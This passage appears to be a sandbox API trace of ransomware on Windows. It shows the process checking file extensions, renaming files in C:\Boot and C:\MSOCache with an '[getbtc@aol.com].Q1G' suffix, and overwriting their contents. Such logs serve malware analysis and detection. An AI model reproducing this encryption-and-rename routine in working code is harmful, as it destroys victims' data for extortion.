(lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.157] lstrlenW (lpString=".doc") returned 4 [0036.157] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.157] lstrlenW (lpString=".docx") returned 5 [0036.157] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.157] lstrlenW (lpString=".pdf") returned 4 [0036.157] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.157] lstrlenW (lpString=".xls") returned 4 [0036.157] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.157] lstrlenW (lpString=".xlsx") returned 5 [0036.157] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.157] lstrlenW (lpString=".ppt") returned 4 [0036.157] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.158] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.158] lstrlenW (lpString=".zip") returned 4 [0036.158] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.158] lstrlenW (lpString=".rar") returned 4 [0036.158] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.158] lstrlenW (lpString=".bz2") returned 4 [0036.158] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.158] lstrlenW (lpString=".7z") returned 3 [0036.158] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.158] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.158] lstrlenW (lpString=".dbf") returned 4 [0036.158] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.158] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.158] lstrlenW (lpString=".1cd") returned 4 [0036.158] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.158] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.158] lstrlenW (lpString=".jpg") returned 4 [0036.158] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.158] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0036.158] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.158] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.158] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=76352) returned 1 [0036.159] CloseHandle (hObject=0x1a4) returned 1 [0036.159] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0036.159] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.159] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.159] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.159] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.159] lstrlenW (lpString=".doc") returned 4 [0036.159] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.159] lstrlenW (lpString=".docx") returned 5 [0036.159] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.159] lstrlenW (lpString=".pdf") returned 4 [0036.159] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.159] lstrlenW (lpString=".xls") returned 4 [0036.159] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.159] lstrlenW (lpString=".xlsx") returned 5 [0036.159] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.159] lstrlenW (lpString=".ppt") returned 4 [0036.159] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.159] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.159] lstrlenW (lpString=".zip") returned 4 [0036.159] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.159] lstrlenW (lpString=".rar") returned 4 [0036.159] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.159] lstrlenW (lpString=".bz2") returned 4 [0036.159] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.159] lstrlenW (lpString=".7z") returned 3 [0036.159] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.160] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.160] lstrlenW (lpString=".dbf") returned 4 [0036.160] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.160] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.160] lstrlenW (lpString=".1cd") returned 4 [0036.160] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.160] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.160] lstrlenW (lpString=".jpg") returned 4 [0036.160] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.160] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.160] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.160] lstrlenW (lpString=".doc") returned 4 [0036.160] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.160] lstrlenW (lpString=".docx") returned 5 [0036.160] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.160] lstrlenW (lpString=".pdf") returned 4 [0036.160] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.160] lstrlenW (lpString=".xls") returned 4 [0036.160] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.160] lstrlenW (lpString=".xlsx") returned 5 [0036.161] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.161] lstrlenW (lpString=".ppt") returned 4 [0036.161] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.161] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.161] lstrlenW (lpString=".zip") returned 4 [0036.161] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.161] lstrlenW (lpString=".rar") returned 4 [0036.161] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.161] lstrlenW (lpString=".bz2") returned 4 [0036.161] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.161] lstrlenW (lpString=".7z") returned 3 [0036.161] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.161] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.161] lstrlenW (lpString=".dbf") returned 4 [0036.161] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.161] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.161] lstrlenW (lpString=".1cd") returned 4 [0036.161] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.161] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0036.161] lstrlenW (lpString=".jpg") returned 4 [0036.161] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.161] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0036.161] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.161] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.162] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=75344) returned 1 [0036.162] CloseHandle (hObject=0x1a4) returned 1 [0036.162] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0036.162] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.162] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.162] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.162] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.162] lstrlenW (lpString=".doc") returned 4 [0036.162] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.162] lstrlenW (lpString=".docx") returned 5 [0036.162] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.162] lstrlenW (lpString=".pdf") returned 4 [0036.162] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.162] lstrlenW (lpString=".xls") returned 4 [0036.162] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.162] lstrlenW (lpString=".xlsx") returned 5 [0036.162] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.162] lstrlenW (lpString=".ppt") returned 4 [0036.162] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.162] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.162] lstrlenW (lpString=".zip") returned 4 [0036.162] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.162] lstrlenW (lpString=".rar") returned 4 [0036.162] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.162] lstrlenW (lpString=".bz2") returned 4 [0036.162] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.163] lstrlenW (lpString=".7z") returned 3 [0036.163] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.163] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.163] lstrlenW (lpString=".dbf") returned 4 [0036.163] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.163] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.163] lstrlenW (lpString=".1cd") returned 4 [0036.163] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.163] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.163] lstrlenW (lpString=".jpg") returned 4 [0036.163] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.163] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.163] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.163] lstrlenW (lpString=".doc") returned 4 [0036.163] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.163] lstrlenW (lpString=".docx") returned 5 [0036.163] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.163] lstrlenW (lpString=".pdf") returned 4 [0036.163] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.163] lstrlenW (lpString=".xls") returned 4 [0036.163] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.163] lstrlenW (lpString=".xlsx") returned 5 [0036.163] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.163] lstrlenW (lpString=".ppt") returned 4 [0036.163] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.163] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.163] lstrlenW (lpString=".zip") returned 4 [0036.163] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.163] lstrlenW (lpString=".rar") returned 4 [0036.163] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.163] lstrlenW (lpString=".bz2") returned 4 [0036.163] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.164] lstrlenW (lpString=".7z") returned 3 [0036.164] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.164] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.164] lstrlenW (lpString=".dbf") returned 4 [0036.164] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.164] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.164] lstrlenW (lpString=".1cd") returned 4 [0036.164] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.164] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0036.164] lstrlenW (lpString=".jpg") returned 4 [0036.164] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.164] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0036.164] lstrlenW (lpString="memtest.exe") returned 11 [0036.164] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.164] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=485760) returned 1 [0036.164] CloseHandle (hObject=0x1a4) returned 1 [0036.164] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0036.165] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.165] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.165] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0036.165] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0036.165] lstrlenW (lpString=".doc") returned 4 [0036.165] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0036.165] lstrlenW (lpString=".docx") returned 5 [0036.165] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0036.165] lstrlenW (lpString=".pdf") returned 4 [0036.165] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0036.165] lstrlenW (lpString=".xls") returned 4 [0036.165] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0036.165] lstrlenW (lpString=".xlsx") returned 5 [0036.165] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0036.165] lstrlenW (lpString=".ppt") returned 4 [0036.165] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0036.165] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0036.165] lstrlenW (lpString=".zip") returned 4 [0036.165] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0036.165] lstrlenW (lpString=".rar") returned 4 [0036.165] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0036.165] lstrlenW (lpString=".bz2") returned 4 [0036.165] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0036.165] lstrlenW (lpString=".7z") returned 3 [0036.165] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0036.838] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0036.838] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.838] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0036.838] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0036.839] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.989] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0036.989] ReadFile (in: hFile=0x198, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.020] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.020] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0037.020] ReadFile (in: hFile=0x198, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.038] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.038] WriteFile (in: hFile=0x198, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0037.366] SetEndOfFile (hFile=0x198) returned 1 [0037.367] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa50c0 [0037.367] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0037.367] WriteFile (in: hFile=0x198, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.367] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0037.368] WriteFile (in: hFile=0x198, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.368] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0037.368] WriteFile (in: hFile=0x198, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.370] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa50c0 | out: hHeap=0x510000) returned 1 [0037.370] CloseHandle (hObject=0x198) returned 1 [0040.627] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0040.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.627] lstrlenW (lpString=".doc") returned 4 [0040.627] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.627] lstrlenW (lpString=".docx") returned 5 [0040.627] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.627] lstrlenW (lpString=".pdf") returned 4 [0040.627] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.627] lstrlenW (lpString=".xls") returned 4 [0040.627] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.627] lstrlenW (lpString=".xlsx") returned 5 [0040.627] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.627] lstrlenW (lpString=".ppt") returned 4 [0040.627] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.627] lstrlenW (lpString=".zip") returned 4 [0040.627] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.627] lstrlenW (lpString=".rar") returned 4 [0040.627] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.627] lstrlenW (lpString=".bz2") returned 4 [0040.627] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.627] lstrlenW (lpString=".7z") returned 3 [0040.627] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.627] lstrlenW (lpString=".dbf") returned 4 [0040.628] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.628] lstrlenW (lpString=".1cd") returned 4 [0040.628] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.628] lstrlenW (lpString=".jpg") returned 4 [0040.628] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.628] lstrlenW (lpString=".doc") returned 4 [0040.628] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.628] lstrlenW (lpString=".docx") returned 5 [0040.628] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.628] lstrlenW (lpString=".pdf") returned 4 [0040.628] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.628] lstrlenW (lpString=".xls") returned 4 [0040.628] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.628] lstrlenW (lpString=".xlsx") returned 5 [0040.628] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.628] lstrlenW (lpString=".ppt") returned 4 [0040.628] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.628] lstrlenW (lpString=".zip") returned 4 [0040.628] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.628] lstrlenW (lpString=".rar") returned 4 [0040.628] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.628] lstrlenW (lpString=".bz2") returned 4 [0040.628] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.628] lstrlenW (lpString=".7z") returned 3 [0040.628] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.628] lstrlenW (lpString=".dbf") returned 4 [0040.628] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.629] lstrlenW (lpString=".1cd") returned 4 [0040.629] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0040.629] lstrlenW (lpString=".jpg") returned 4 [0040.629] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.629] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0040.629] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0040.629] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.629] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=2865664) returned 1 [0040.629] CloseHandle (hObject=0x198) returned 1 [0040.629] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0040.629] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0040.629] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all 